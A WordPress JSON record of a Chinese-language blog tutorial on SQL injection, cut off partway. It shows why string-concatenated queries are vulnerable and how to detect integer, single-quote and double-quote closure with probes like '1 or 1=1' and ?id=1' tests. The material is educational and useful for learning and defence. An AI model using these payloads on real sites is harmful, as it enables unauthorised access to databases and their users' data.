{"id":1015,"date":"2024-07-03T09:40:26","date_gmt":"2024-07-03T01:40:26","guid":{"rendered":"https:\/\/blog.nonot.cn\/?p=1015"},"modified":"2024-07-08T13:04:20","modified_gmt":"2024-07-08T05:04:20","slug":"sql%e6%b3%a8%e5%85%a5%e8%af%a6%e7%bb%86%e8%ae%b2%e8%a7%a3%e6%a6%82%e6%8b%ac-get%e6%b3%a8%e5%85%a5%e3%80%81post%e6%b3%a8%e5%85%a5%e3%80%81head%e6%b3%a8%e5%85%a5","status":"publish","type":"post","link":"https:\/\/blog.nonot.cn\/index.php\/2024\/07\/03\/sql%e6%b3%a8%e5%85%a5%e8%af%a6%e7%bb%86%e8%ae%b2%e8%a7%a3%e6%a6%82%e6%8b%ac-get%e6%b3%a8%e5%85%a5%e3%80%81post%e6%b3%a8%e5%85%a5%e3%80%81head%e6%b3%a8%e5%85%a5\/","title":{"rendered":"SQL\u6ce8\u5165\u8be6\u7ec6\u8bb2\u89e3\u6982\u62ec-GET\u6ce8\u5165\u3001POST\u6ce8\u5165\u3001HEAD\u6ce8\u5165"},"content":{"rendered":"<p><strong>SQL\u6ce8\u5165\u8be6\u7ec6\u8bb2\u89e3\u6982\u62ec-GET\u6ce8\u5165\u3001POST\u6ce8\u5165\u3001HEAD\u6ce8\u5165<\/strong><\/p>\n<p><strong>1\u3001SQL\u6ce8\u5165\u6d41\u7a0b<\/strong><\/p>\n<p><strong>2\u3001GET\u6ce8\u5165<\/strong><\/p>\n<p><strong>3\u3001POST\u6ce8\u5165<\/strong><\/p>\n<p><strong>4\u3001HEAD\u6ce8\u5165<\/strong><\/p>\n<hr \/>\n<p><strong>\u4e00\u3001SQL\u6ce8\u5165\u6d41\u7a0b<\/strong><\/p>\n<p><strong>\u3000\u30001\u3001SQL\u6ce8\u5165\u6d41\u7a0b<\/strong><\/p>\n<p><strong>\u3000\u3000\u00b7 \u5bfb\u627e\u6ce8\u5165\u70b9\u2014\u4e0e\u6570\u636e\u5e93\u4ea4\u4e92\u7684\u5730\u65b9\uff0c\u6bd4\u5982\u767b\u5f55\u6846\uff0c\u641c\u7d22\u6846\u3001URL\u5730\u5740\u680f\u3001\u767b\u9646\u754c\u9762\u3001\u7559\u8a00\u677f\u7b49\u7b49<\/strong><\/p>\n<p><strong>\u3000\u3000\u00b7 \u5224\u65ad\u662f\u5426\u5b58\u5728\u6ce8\u5165\u70b9\uff0c\u5224\u65ad\u6570\u636e\u5e93\u7c7b\u578b\uff0c\u786e\u5b9a\u6ce8\u5165\u65b9\u6cd5<\/strong><\/p>\n<p><strong>\u3000\u3000\u00b7 \u6784\u9020\u7279\u6b8a\u8bed\u53e5\uff0c\u67e5\u8be2\u6570\u636e\u5e93\u6570\u636e<\/strong><\/p>\n<p><strong>\u4e8c\u3001GET\u6ce8\u5165<\/strong><\/p>\n<p><strong>\u3000\u30001\u3001What is GET\u6ce8\u5165<\/strong><\/p>\n<p><strong>\u3000\u3000\u8981\u641e\u61c2GET\u6ce8\u5165\u4e4b\u524d\uff0c\u5148\u641e\u61c2\u4ec0\u4e48\u662fGET\u4f20\u53c2\u3002<\/strong><\/p>\n<p><strong>\u3000\u3000GET\u4f20\u53c2\uff1a\u7528\u6237\u8f93\u5165\u7684\u5185\u5bb9\u53c2\u6570\u4f1a\u88ab\u4f20\u5230\u5730\u5740\u680f\uff08URL\u680f\uff09\uff0c\u662f\u901a\u8fc7GET\u7684\u65b9\u5f0f\u8fdb\u884c\u4f20\u53c2<\/strong><\/p>\n<p><strong>\u3000\u3000\u00b7 \u7279\u70b9\uff1a\u4f20\u53c2\u5185\u5bb9\u53ef\u89c1\uff0c\u4f20\u53c2\u957f\u5ea6\u6709\u9650\uff0c\u6807\u8bc6\u201c\uff1f\u201d\uff0c\u8f93\u5165\u7684\u5185\u5bb9\u4f1a\u53ef\u80fd\u88aburl\u7f16\u7801<\/strong><\/p>\n<p><strong>\u3000\u3000GET\u6ce8\u5165\uff1a\u901a\u8fc7GET\u4f20\u53c2\u7684\u65b9\u5f0f\uff0c\u4f20\u8f93\u6076\u610f\u8bed\u53e5\uff0c\u8fdb\u884cSQL\u6ce8\u5165<\/strong><\/p>\n<p><strong>\u3000\u3000<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1016\" title=\"2204804-20211210231651347-775676692\" src=\"https:\/\/blog.nonot.cn\/wp-content\/uploads\/replace\/251d12b070dbfe00357064cc4ee2a94a.png\" alt=\"2204804-20211210231651347-775676692\" width=\"996\" height=\"357\" \/><\/strong><\/p>\n<p><strong>2\u3001\u5982\u4f55\u8fdb\u884cGET\u6ce8\u5165<\/strong><\/p>\n<p><strong>\u3000\u3000\u4e00\u822c\u60c5\u51b5\u5224\u65ad\u4e3a\u4f20\u53c2\u65b9\u5f0f\u4e3aGET\u4f20\u53c2\u65b9\u5f0f\uff0c\u9996\u5148\u8fdb\u884cGET\u6ce8\u5165\u6d4b\u8bd5\uff0c\u5224\u65ad\u662f\u5426\u5b58\u5728GET\u6ce8\u5165<br \/>\n<\/strong><\/p>\n<p><strong>\u3000\u3000\u5982\u4f55\u5224\u65ad\u662f\u5426\u5b58\u5728GET\u6ce8\u5165\uff1a\u8981\u60f3\u77e5\u9053\u662f\u5426\u5b58\u5728\uff0c\u9996\u5148\u641e\u539f\u7406\uff0c\u5f04\u6e05\u695a\u662f\u5982\u4f55\u53d1\u751f\u7684<\/strong><\/p>\n<p><strong>\u3000\u3000\u7b80\u5355\u8bf4\uff0c\u539f\u672c\u7a0b\u5e8f\u8981\u6267\u884c\u7684\u4ee3\u7801\u62fc\u63a5\u4e86\u7528\u6237\u8f93\u5165\u7684\u6570\u636e\u7136\u540e\u6267\u884c\uff0c\u5c31\u662f\u672c\u6765\u7528\u6237\u8f93\u5165\u7684\u6570\u636e\u662f\u8981\u88ab\u67e5\u8be2\u7684\uff0c\u4f46\u662f\u88ab\u6570\u636e\u5e93\u5f53\u4f5c\u4ee3\u7801\u6267\u884c<\/strong><\/p>\n<p><strong>\u3000\u3000OK\uff0cAND\uff0c\u53ea\u9700\u77e5\u9053\u8f93\u5165\u7684\u6570\u636e\u6709\u6ca1\u6709\u88ab\u6570\u636e\u5e93\u5f53\u4f5c\u4ee3\u7801\uff0c\u53ef\u4ee5\u5224\u65ad\u5b58\u4e0d\u5b58\u5728\u6ce8\u5165\u70b9<\/strong><\/p>\n<p><strong>\u3000\u3000AND\uff0c\u7528\u6237\u8f93\u5165\u7684\u6570\u636e\u4e00\u5b9a\u4e0d\u662f\u8f93\u5165everying\u90fd\u884c\u7684\uff0c\u5982\u679c\u7528\u6237\u968f\u4fbf\u8f93\u5165\u7684\u6570\u636e\u90fd\u88ab\u5f53\u505a\u4ee3\u7801\u6267\u884c\uff0c\u90a3\u4e48\u8fd9\u4e2a\u7f51\u7ad9\u5c31\u5931\u53bb\u4e86\u5b83\u7684\u529f\u80fd\uff0c\u8fd9\u662f\u7f51\u7ad9\u5f00\u53d1\u8005\u4e0d\u5141\u8bb8\u7684<\/strong><\/p>\n<p><strong>\u3000\u3000SO\uff0c\u8981\u8f93\u5165\u4ec0\u4e48\u6570\u636e\u624d\u80fd\u88ab\u5224\u65ad\u662f\u5426\u5b58\u5728\u6ce8\u5165\u70b9\u5462<\/strong><\/p>\n<p><strong>\u3000\u3000\u5148\u6765\u770b\u4e00\u6bb5\u4ee3\u7801<\/strong><strong>\u3000<\/strong><\/p>\n<div class=\"cnblogs_Highlighter sh-gutter\">\n<div>\n<div id=\"highlighter_724712\" class=\"syntaxhighlighter sql\">\n<table style=\"height: 461px;\" border=\"0\" width=\"743\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<div class=\"line number2 index1 alt1\">2<\/div>\n<div class=\"line number3 index2 alt2\">3<\/div>\n<div class=\"line number4 index3 alt1\">4<\/div>\n<div class=\"line number5 index4 alt2\">5<\/div>\n<div class=\"line number6 index5 alt1\">6<\/div>\n<div class=\"line number7 index6 alt2\">7<\/div>\n<div class=\"line number8 index7 alt1\">8<\/div>\n<div class=\"line number9 index8 alt2\">9<\/div>\n<div class=\"line number10 index9 alt1\">10<\/div>\n<div class=\"line number11 index10 alt2\">11<\/div>\n<div class=\"line number12 index11 alt1\">12<\/div>\n<div class=\"line number13 index12 alt2\">13<\/div>\n<div class=\"line number14 index13 alt1\">14<\/div>\n<div class=\"line number15 index14 alt2\">15<\/div>\n<div class=\"line number16 index15 alt1\">16<\/div>\n<div class=\"line number17 index16 alt2\">17<\/div>\n<div class=\"line number18 index17 alt1\">18<\/div>\n<div class=\"line number19 index18 alt2\">19<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"sql plain\">$query\u00a0 =\u00a0<\/code><code class=\"sql string\">\"SELECT first_name, last_name FROM users WHERE user_id = $id<\/code><\/div>\n<div class=\"line number2 index1 alt1\"><\/div>\n<div class=\"line number3 index2 alt2\"><code class=\"sql string\">\u7528\u6237\u8f93\u5165\u53c2\u6570\u4f20\u5165$id\u00a0<\/code><\/div>\n<div class=\"line number4 index3 alt1\"><\/div>\n<div class=\"line number5 index4 alt2\"><code class=\"sql string\">\u6765\u8f93\u51651\u00a0 &gt;&gt;&gt;&gt;\u00a0 $id=1\u00a0\u00a0\u00a0 &gt;&gt;&gt; sql\u8bed\u53e5\u5c31\u53d8\u6210\u4e86\u4e0b\u9762\u8fd9\u6837<\/code><\/div>\n<div class=\"line number6 index5 alt1\"><code class=\"sql string\">$query\u00a0 = \"<\/code><code class=\"sql keyword\">SELECT<\/code>\u00a0<code class=\"sql plain\">first_name, last_name\u00a0<\/code><code class=\"sql keyword\">FROM<\/code>\u00a0<code class=\"sql plain\">users\u00a0<\/code><code class=\"sql keyword\">WHERE<\/code>\u00a0<code class=\"sql plain\">user_id = 1<\/code><\/div>\n<div class=\"line number7 index6 alt2\"><\/div>\n<div class=\"line number8 index7 alt1\"><code class=\"sql plain\">ok\uff0clook look \u73b0\u5728\u6570\u636e\u5e93\u6536\u5230\u7684\u6570\u636e\u662f\u8fd9\u6837\u7684\uff0c\uff0c<\/code><\/div>\n<div class=\"line number9 index8 alt2\"><code class=\"sql keyword\">SELECT<\/code>\u00a0<code class=\"sql plain\">first_name, last_name\u00a0<\/code><code class=\"sql keyword\">FROM<\/code>\u00a0<code class=\"sql plain\">users\u00a0<\/code><code class=\"sql keyword\">WHERE<\/code>\u00a0<code class=\"sql plain\">user_id = 1<\/code><\/div>\n<div class=\"line number10 index9 alt1\"><\/div>\n<div class=\"line number11 index10 alt2\"><code class=\"sql color1\">AND<\/code><code class=\"sql plain\">\uff0c\u8f93\u5165\u4ec0\u4e48\u80fd\u591f\u8ba9\u6570\u636e\u5e93\u6267\u884c\u4e00\u4e9b\u522b\u7684\u64cd\u4f5c<\/code><\/div>\n<div class=\"line number12 index11 alt1\"><code class=\"sql plain\">\u601d\u8003ing\u00a0<\/code><code class=\"sql keyword\">time<\/code><code class=\"sql plain\">\uff083min\uff09<\/code><\/div>\n<div class=\"line number13 index12 alt2\"><\/div>\n<div class=\"line number14 index13 alt1\"><code class=\"sql plain\">\u5f53\u7136\u662f\u6570\u636e\u5e93\u8bed\u8a00\u4e86\uff0c\uff0c\uff0c\u8bd5\u4e00\u8bd5\u00a0\u00a0<\/code><code class=\"sql color1\">or<\/code>\u00a0\u00a0<code class=\"sql plain\">\u600e\u4e48\u6837<\/code><\/div>\n<div class=\"line number15 index14 alt2\"><code class=\"sql plain\">ok\uff0c\uff0c &gt;&gt;&gt;\u00a0 1\u00a0<\/code><code class=\"sql color1\">or<\/code>\u00a0<code class=\"sql plain\">1=1 &gt;&gt;&gt; $id=1\u00a0<\/code><code class=\"sql color1\">or<\/code>\u00a0<code class=\"sql plain\">1=1<\/code><\/div>\n<div class=\"line number16 index15 alt1\"><\/div>\n<div class=\"line number17 index16 alt2\"><code class=\"sql keyword\">SELECT<\/code>\u00a0<code class=\"sql plain\">first_name, last_name\u00a0<\/code><code class=\"sql keyword\">FROM<\/code>\u00a0<code class=\"sql plain\">users\u00a0<\/code><code class=\"sql keyword\">WHERE<\/code>\u00a0<code class=\"sql plain\">user_id = 1\u00a0<\/code><code class=\"sql color1\">or<\/code>\u00a0<code class=\"sql plain\">1=1<\/code><\/div>\n<div class=\"line number18 index17 alt1\"><\/div>\n<div class=\"line number19 index18 alt2\"><code class=\"sql plain\">\u8f93\u5165\u7684\u5185\u5bb9\u5f53\u4f5c\u4ee3\u7801\u6267\u884c\u4e86\u00a0 \/\/\u8fd9\u4e2a\u53eb\u505a\u6574\u5f62\u95ed\u5408<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<p><strong>\u5728\u6765\u770b\u4e00\u6bb5\uff0c\u8fd9\u6b21 \u628a\u53d8\u91cf\u7528\u5f15\u53f7\u5f15\u8d77\u6765\uff0c\u7528\u5355\u5f15\u53f7or\u7528\u53cc\u5f15\u53f7\uff0c\u662f\u4e0d\u4e00\u6837\u7684\u7834\u89e3\u65b9\u6cd5<\/strong><\/p>\n<div class=\"cnblogs_Highlighter sh-gutter\">\n<div>\n<div id=\"highlighter_72314\" class=\"syntaxhighlighter sql\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<div class=\"line number2 index1 alt1\">2<\/div>\n<div class=\"line number3 index2 alt2\">3<\/div>\n<div class=\"line number4 index3 alt1\">4<\/div>\n<div class=\"line number5 index4 alt2\">5<\/div>\n<div class=\"line number6 index5 alt1\">6<\/div>\n<div class=\"line number7 index6 alt2\">7<\/div>\n<div class=\"line number8 index7 alt1\">8<\/div>\n<div class=\"line number9 index8 alt2\">9<\/div>\n<div class=\"line number10 index9 alt1\">10<\/div>\n<div class=\"line number11 index10 alt2\">11<\/div>\n<div class=\"line number12 index11 alt1\">12<\/div>\n<div class=\"line number13 index12 alt2\">13<\/div>\n<div class=\"line number14 index13 alt1\">14<\/div>\n<div class=\"line number15 index14 alt2\">15<\/div>\n<div class=\"line number16 index15 alt1\">16<\/div>\n<div class=\"line number17 index16 alt2\">17<\/div>\n<div class=\"line number18 index17 alt1\">18<\/div>\n<div class=\"line number19 index18 alt2\">19<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"sql plain\">$query\u00a0 =\u00a0<\/code><code class=\"sql string\">\"SELECT first_name, last_name FROM users WHERE user_id = '$id';\"<\/code><\/div>\n<div class=\"line number2 index1 alt1\"><code class=\"sql plain\">\u4e0a\u9762\u53cc\u5f15\u53f7\u91cc\u7684\u662f\u8981\u88ab\u4f20\u5165\u6570\u636e\u5e93\u6267\u884c\u7684<\/code><\/div>\n<div class=\"line number3 index2 alt2\"><\/div>\n<div class=\"line number4 index3 alt1\"><code class=\"sql keyword\">first<\/code><code class=\"sql plain\">\uff0c\u8f93\u5165\u7684\u6570\u636e\u88ab\u4f20\u5165$id\u8fd9\u4e2a\u53d8\u91cf<\/code><\/div>\n<div class=\"line number5 index4 alt2\"><\/div>\n<div class=\"line number6 index5 alt1\"><code class=\"sql plain\">ok\uff0c\u90a3\u4e48\u8f93\u5165\u4e00\u4e2a 1 \uff0c$id=1\u00a0\u00a0<\/code><code class=\"sql color1\">and<\/code>\u00a0<code class=\"sql plain\">\u6b64\u8bed\u53e5\u5c31\u53d8\u6210\u4e86\uff1a<\/code><\/div>\n<div class=\"line number7 index6 alt2\"><\/div>\n<div class=\"line number8 index7 alt1\"><code class=\"sql keyword\">SELECT<\/code>\u00a0<code class=\"sql plain\">first_name, last_name\u00a0<\/code><code class=\"sql keyword\">FROM<\/code>\u00a0<code class=\"sql plain\">users\u00a0<\/code><code class=\"sql keyword\">WHERE<\/code>\u00a0<code class=\"sql plain\">user_id =\u00a0<\/code><code class=\"sql string\">'1'<\/code><\/div>\n<div class=\"line number9 index8 alt2\"><\/div>\n<div class=\"line number10 index9 alt1\"><code class=\"sql plain\">\u90a3\u4e48\u8981\u600e\u4e48\u505a\u624d\u80fd\u53d8\u6210\u8f93\u5165\u7684\u6570\u636e\u53d8\u6210\u4ee3\u7801\u6267\u884c\u5462\uff1f<\/code><\/div>\n<div class=\"line number11 index10 alt2\"><code class=\"sql plain\">\u601d\u8003ing\u00a0\u00a0<\/code><code class=\"sql keyword\">time<\/code><code class=\"sql plain\">\uff085min\uff09<\/code><\/div>\n<div class=\"line number12 index11 alt1\"><\/div>\n<div class=\"line number13 index12 alt2\"><code class=\"sql plain\">ok\uff0c\u65e0\u8bba\u8f93\u5165\u4ec0\u4e48\u6570\u636e\u4ed6\u90fd\u5728\u5f15\u53f7\u91cc\uff0c\u90a3\u8f93\u5165\u7684\u6570\u636e\u5c31\u6ca1\u6709\u4efb\u4f55\u610f\u4e49\u5bf9\u5427\uff0c<\/code><\/div>\n<div class=\"line number14 index13 alt1\"><code class=\"sql plain\">\u90a3\u5c31\u6765\u7a81\u7834\u5f15\u53f7\uff0c\u5982\u4f55\u7a81\u7834<\/code><\/div>\n<div class=\"line number15 index14 alt2\"><\/div>\n<div class=\"line number16 index15 alt1\"><code class=\"sql plain\">\uff0c\uff0clook here \u300b\u300b 1<\/code><code class=\"sql string\">' or 1=1 '<\/code>\u00a0\u00a0<code class=\"sql plain\">\u300b\u300b $id=1<\/code><code class=\"sql string\">' or 1=1 '<\/code>\u00a0\u00a0\u00a0<code class=\"sql plain\">\u62fc\u63a5\u8bd5\u4e00\u8bd5<\/code><\/div>\n<div class=\"line number17 index16 alt2\"><\/div>\n<div class=\"line number18 index17 alt1\"><code class=\"sql keyword\">SELECT<\/code>\u00a0<code class=\"sql plain\">first_name, last_name\u00a0<\/code><code class=\"sql keyword\">FROM<\/code>\u00a0<code class=\"sql plain\">users\u00a0<\/code><code class=\"sql keyword\">WHERE<\/code>\u00a0<code class=\"sql plain\">user_id =\u00a0<\/code><code class=\"sql string\">'1'<\/code>\u00a0<code class=\"sql color1\">or<\/code>\u00a0<code class=\"sql plain\">1=1\u00a0<\/code><code class=\"sql string\">''<\/code><\/div>\n<div class=\"line number19 index18 alt2\"><code class=\"sql plain\">FUCK\uff0c\uff0c\u6709\u95ee\u9898\u4e86\uff0c\uff0c\u4e0d\u4e00\u6837\u4e86\u00a0\u00a0\u00a0 \/\/\u8fd9\u4e2a\u53eb\u505a\u5355\u5f15\u53f7\u95ed\u5408&lt;br&gt;&lt;br&gt;\u90a3\u4e48\u518d\u6765\u601d\u8003\u4e00\u4e2a\u95ee\u9898\uff0c\u5f53\u53d8\u91cf\u7528\u53cc\u5f15\u53f7\u5f15\u8d77\u6765\u600e\u4e48\u529e\uff0c\u4e0d\u662f\u6ca1\u7528\u5f15\u53f7\uff0c\u4e5f\u4e0d\u662f\u5355\u5f15\u53f7&lt;br&gt;\u601d\u8003ing\u00a0\u00a0<\/code><code class=\"sql keyword\">time<\/code><code class=\"sql plain\">\uff082min\uff09&lt;br&gt;&lt;br&gt;ok,easy\u00a0\u00a0 \u90a3\u5c31\u7528\u53cc\u5f15\u53f7\u7834\u89e3\u5457&lt;br&gt;&lt;br&gt;<\/code><code class=\"sql keyword\">SELECT<\/code>\u00a0<code class=\"sql plain\">first_name, last_name\u00a0<\/code><code class=\"sql keyword\">FROM<\/code>\u00a0<code class=\"sql plain\">users\u00a0<\/code><code class=\"sql keyword\">WHERE<\/code>\u00a0<code class=\"sql plain\">user_id =\u00a0<\/code><code class=\"sql string\">\"$id\"<\/code><code class=\"sql plain\">&lt;br&gt;&lt;br&gt;look here\u00a0 \u300b\u300b\u300b\u00a0 1<\/code><code class=\"sql string\">\" or 1=1 \"<\/code>\u00a0<code class=\"sql plain\">\u300b\u300b\u300b $id=1<\/code><code class=\"sql string\">\" or 1=1 \"<\/code><code class=\"sql plain\">&lt;br&gt;&lt;br&gt;<\/code><code class=\"sql keyword\">SELECT<\/code>\u00a0<code class=\"sql plain\">first_name, last_name\u00a0<\/code><code class=\"sql keyword\">FROM<\/code>\u00a0<code class=\"sql plain\">users\u00a0<\/code><code class=\"sql keyword\">WHERE<\/code>\u00a0<code class=\"sql plain\">user_id =\u00a0<\/code><code class=\"sql string\">\"1\"<\/code>\u00a0<code class=\"sql color1\">or<\/code>\u00a0<code class=\"sql plain\">1=1\u00a0<\/code><code class=\"sql string\">\"\"<\/code><code class=\"sql plain\">&lt;br&gt;&lt;br&gt;success\uff0ceasy\u00a0\u00a0\u00a0 \/\/\u8fd9\u4e2a\u53eb\u505a\u53cc\u5f15\u53f7\u95ed\u5408<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<p><strong>OK\uff0c\u4e0a\u9762\u662f\u80fd\u770b\u5230\u540e\u7aef\u4ee3\u7801\u7684\uff0c\u54ea\u4e2a\u7f51\u7ad9\u613f\u610f\u8ba9\u4f60\u770b\u5230\u4ed6\u7684\u540e\u7aef\u4ee3\u7801\uff0cIt won&#8217;t<\/strong><\/p>\n<p><strong>\u3000\u3000AND\uff0c\u770b\u4e0d\u5230\u6e90\u7801\uff0c\u600e\u4e48\u8fdb\u884c\u6ce8\u5165\u5462<\/strong><\/p>\n<p><strong>\u3000\u3000so easy , \u901a\u8fc7\u4f20\u5165\u7684\u6076\u610f\u4ee3\u7801\uff0c\u89c2\u5bdf\u9875\u9762\u60c5\u51b5 \uff0c\u662f\u5426\u6b63\u5e38\u7b49\uff0c\u6765\u5224\u65ad\u662f\u5426\u5b58\u5728\u6ce8\u5165\u70b9\uff0c\u786e\u5b9a\u6ce8\u5165\u65b9\u6cd5<\/strong><\/p>\n<p><strong>\u3000\u3000\u9996\u5148\u6211\u4eec\u627e\u5230\u4f20\u53c2\u70b9\uff0c\u8fdb\u884c\u6ce8\u5165 \u5c1d\u8bd5 \uff0c\u9996\u5148\u5224\u65ad\u95ed\u5408\u7c7b\u578b<\/strong><\/p>\n<p><strong>\u3000\u3000SQL\u8bed\u53e5\u7684\u95ed\u5408\u7c7b\u578b\uff1a\u6574\u578b\u95ed\u5408\u3001\u5355\u5f15\u53f7\u95ed\u5408\u3001\u53cc\u5f15\u53f7\u95ed\u5408\u3001\u5355\u5f15\u53f7\u52a0\u62ec\u53f7\u3001\u53cc\u5f15\u53f7\u52a0\u62ec\u53f7<\/strong><\/p>\n<p><strong>\u3000\u3000\u00b7 \u6574\u5f62\u95ed\u5408<\/strong><strong>\u3000<\/strong><\/p>\n<div class=\"cnblogs_Highlighter sh-gutter\">\n<div>\n<div id=\"highlighter_204575\" class=\"syntaxhighlighter sql\">\n<div class=\"table-wrapper\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"sql keyword\">SELECT<\/code>\u00a0<code class=\"sql plain\">*\u00a0<\/code><code class=\"sql keyword\">FROM<\/code>\u00a0<code class=\"sql plain\">admin\u00a0<\/code><code class=\"sql keyword\">WHERE<\/code>\u00a0<code class=\"sql plain\">id=1;\u00a0\u00a0 \/\/\u6574\u5f62\u95ed\u5408<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<p><strong>\u6a21\u62df\u6ce8\u5165<\/strong><strong><br \/>\n<\/strong><\/p>\n<p><strong>\u3000\u3000?id=1&#8242;\u00a0 \u00a0=&gt;\u00a0 \u62a5\u9519<\/strong><\/p>\n<p><strong>\u3000\u3000?id=1&#8221;\u00a0 =&gt;\u00a0 \u62a5\u9519<\/strong><\/p>\n<p><strong>\u3000\u3000\u5224\u65ad\u4e3a\u6574\u5f62\u95ed\u5408<\/strong><\/p>\n<p><strong>\u3000\u3000\u00b7 \u5355\u5f15\u53f7\u95ed\u5408<\/strong><strong>\u3000<\/strong><\/p>\n<div class=\"cnblogs_Highlighter sh-gutter\">\n<div>\n<div id=\"highlighter_593757\" class=\"syntaxhighlighter sql\">\n<div class=\"table-wrapper\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"sql keyword\">SELECT<\/code>\u00a0<code class=\"sql plain\">*\u00a0<\/code><code class=\"sql keyword\">FROM<\/code>\u00a0<code class=\"sql plain\">admin\u00a0<\/code><code class=\"sql keyword\">WHERE<\/code>\u00a0<code class=\"sql plain\">id=\u20181\u2019\uff1b\u00a0 \/\/\u5355\u5f15\u53f7\u95ed\u5408<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<p><strong>\u6a21\u62df\u6ce8\u5165<\/strong><\/p>\n<p><strong>?id=1&#8242;\u00a0 =&gt;\u00a0 \u62a5\u9519<\/strong><\/p>\n<p><strong>\u3000\u3000?id=1&#8221; =&gt;\u00a0 \u6b63\u5e38\u8fd4\u56deid=1\u7684\u503c<\/strong><\/p>\n<p><strong>\u3000\u3000\u5224\u65ad\u4e3a\u5355\u5f15\u53f7\u6216\u8005\u5355\u5f15\u53f7\u62ec\u53f7\u95ed\u5408<\/strong><\/p>\n<p><strong>\u3000\u3000\u4efb\u4f55\u95ed\u5408\u65b9\u5f0f\u90fd\u8fd9\u6837\u5728\u6ca1\u6709\u9047\u5230\u76f8\u5bf9\u5e94\u7684\u95ed\u5408\u65f6\uff0c\u90fd\u4f1a\u628a\u8fd9\u4e2a\u7b26\u53f7\u5f53\u4f5c\u4e00\u4e2a\u6574\u4f53\uff0c\u6ce8\u91ca\u7b26\u4e5f\u4e0d\u4f8b\u5916<\/strong><\/p>\n<p><strong>\u3000\u3000\u518d\u6b21\u6a21\u62df\u6ce8\u5165<\/strong><\/p>\n<p><strong>\u3000\u3000?id=1&#8242;-+\u00a0 =&gt;\u00a0 \u65e0\u62a5\u9519 =&gt; \u5355\u5f15\u53f7\u95ed\u5408<\/strong><\/p>\n<p><strong>\u3000\u3000?id=1&#8242;-+\u00a0 =&gt;\u00a0 \u62a5\u9519\u00a0 =&gt;\u00a0 \u5355\u5f15\u53f7\u62ec\u53f7\u95ed\u5408<\/strong><\/p>\n<p><strong>\u3000\u3000\u00b7 \u53cc\u5f15\u53f7\u95ed\u5408<\/strong><strong>\u3000<\/strong><\/p>\n<div class=\"cnblogs_Highlighter sh-gutter\">\n<div>\n<div id=\"highlighter_353920\" class=\"syntaxhighlighter sql\">\n<div class=\"table-wrapper\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"sql keyword\">SELECT<\/code>\u00a0<code class=\"sql plain\">*\u00a0<\/code><code class=\"sql keyword\">FROM<\/code>\u00a0<code class=\"sql plain\">admin\u00a0<\/code><code class=\"sql keyword\">WHERE<\/code>\u00a0<code class=\"sql plain\">id=<\/code><code class=\"sql string\">\"1\"<\/code><code class=\"sql plain\">;\u00a0 \/\/\u53cc\u5f15\u53f7\u95ed\u5408<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>&nbsp;<\/p>\n<p><strong>\u3000\u3000?id=1&#8242;\u00a0 =&gt; \u6b63\u5e38\u8fd4\u56deid=1\u7684\u503c<\/strong><\/p>\n<p><strong>\u3000\u3000?id=1&#8243; =&gt; \u62a5\u9519<\/strong><\/p>\n<p><strong>\u3000\u3000\u5224\u65ad\u4e3a\u53cc\u5f15\u53f7\u95ed\u5408\u6216\u8005\u53cc\u5f15\u53f7\u62ec\u53f7\u95ed\u5408<\/strong><\/p>\n<p><strong>\u3000\u3000\u518d\u6b21\u6a21\u62df\u6ce8\u5165<\/strong><\/p>\n<p><strong>\u3000\u3000?id=1&#8243;-+\u00a0 =&gt; \u65e0\u62a5\u9519 =&gt; \u53cc\u5f15\u53f7\u95ed\u5408<\/strong><\/p>\n<p><strong>\u3000\u3000?id=1&#8243;-+ =&gt; \u62a5\u9519\u00a0 =&gt;\u00a0 \u53cc\u5f15\u53f7\u62ec\u53f7\u95ed\u5408<\/strong><\/p>\n<p><strong>\u3000\u3000\u00b7 \u603b\u7ed3<\/strong><\/p>\n<p><strong>\u3000\u3000\u5224\u65ad\u95ed\u5408\u7c7b\u578b<\/strong><\/p>\n<p><strong>\u3000\u3000\u9996\u5148\u5c1d\u8bd5\uff1a?id=1&#8242;<\/strong><\/p>\n<p><strong>?id=1&#8243;<\/strong><\/p>\n<p><strong>\u3000\u3000\u4e0d\u62a5\u9519 =&gt;\u00a0 \u6574\u5f62\u95ed\u5408<\/strong><\/p>\n<p><strong>\u3000\u3000\u62a5\u9519\u00a0 \u00a0=&gt;\u00a0 \u5355\u5f15\u53f7\u62a5\u9519 \uff0c\u53cc\u5f15\u53f7\u4e0d\u62a5\u9519 =&gt; \u5c1d\u8bd5 ?id=1&#8242;-+\u00a0 =&gt;\u00a0 